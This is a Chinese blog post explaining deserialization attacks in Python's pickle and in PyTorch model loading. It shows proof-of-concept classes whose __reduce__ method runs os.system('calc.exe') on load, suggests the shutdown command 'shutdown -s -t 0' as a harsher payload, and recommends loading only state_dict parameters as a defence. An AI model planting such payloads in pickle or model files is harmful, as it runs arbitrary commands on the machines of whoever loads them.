【Python】Pickle/PyTorch反序列化漏洞

文章探讨了Python的Pickle库在反序列化过程中可能存在的安全风险,特别是通过__reduce__方法执行恶意代码。示例展示了如何利用这个漏洞打开计算器,甚至执行更危险的系统命令。PyTorch模型的加载也存在类似问题,但仅保存和加载模型参数可以避免这种风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

有人说,不要轻易加载未知来源的模型,否则存在反序列化攻击的风险,本文就对此言论进行测试分析。

Pickle反序列化漏洞

通常情况下,会用到Pickle来将一些变量/对象转换成字节串进行存储,此操作称为序列化
读取pkl文件,还原其中的数据,此操作称为反序列化

而在Python中,有一个天然的魔法方法__reduce__,它在进行反序列化中,会自动执行其下的内容,这就造成了一个可被用于攻击的漏洞。

__reduce__方法主要有两种方式,返回字符串或者返回元组,后者可携带一些操作指令。
具体的解释可参考官方文档:https://docs.python.org/3/library/pickle.html

下面看一个示例:

import os
import pickle


class Test(object):
    def __init__(self):
        self.a = 1
        self.b = '2'
        self.c = '3'

    def __reduce__(self):
        return (os.system, ('calc.exe',))


if __name__ == '__main__':
    aa = Test()
    with open("model.pkl", "wb") as f:
        pickle.dump(aa, f, protocol=0)
    with open("model.pkl", "rb") as f:
        A = pickle.load(f)

运行本示例,会发现计算器会被打开,这是因为在反序列化的过程中,执行了'calc.exe'。相当于直接在控制台中输入calc.exe,从而打开计算器。

这个指令可以替换成任何命令,比如shutdown -s -t 0,这样当进行反序列操作后,会直接关机。

PyTorch反序列化漏洞

Pytorch的模型保存和加载底层依然是用到了Pickle,因此同样存在反序列化的漏洞。

下面是个示例:
首先定义一个简单的DNN模型:

import torch
import torch.nn as nn
import torch.nn.functional as F
import os

class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.layer1 = nn.Linear(1, 128)
        self.layer2 = nn.Linear(128, 128)
        self.layer3 = nn.Linear(128, 2)

    def forward(self, x):
        x = F.relu(self.layer1(x))
        x = F.relu(self.layer2(x))
        action = self.layer3(x)
        return action

    def __reduce__(self):
        return (os.system, ('calc.exe',))

然后保存模型,再进行加载:

if __name__ == '__main__':
    a = Net()
    torch.save(a, '12.pt')
    b = torch.load('12.pt')

运行之后,同样可以发现计算器被打开。

上面的方法是保存整个模型,再进行加载。另一种模型保存和加载的方式是仅保存和加载模型的参数。

if __name__ == '__main__':
    a = Net()
    torch.save(a.state_dict(), '12.pt')
    c = Net()
    c.load_state_dict(torch.load('12.pt'))

运行该方法,发现计算器没有被打开。

总结

  1. 加载模型时,尽可能不要加载整个模型,否则存在反序列化风险,加载模型参数则不存在风险。
  2. Pickle反序列化风险避免方式比较复杂,可以通过黑白名单禁用R指令等方式,更详细的内容可参考https://zhuanlan.zhihu.com/p/89132768
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

zstar-_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值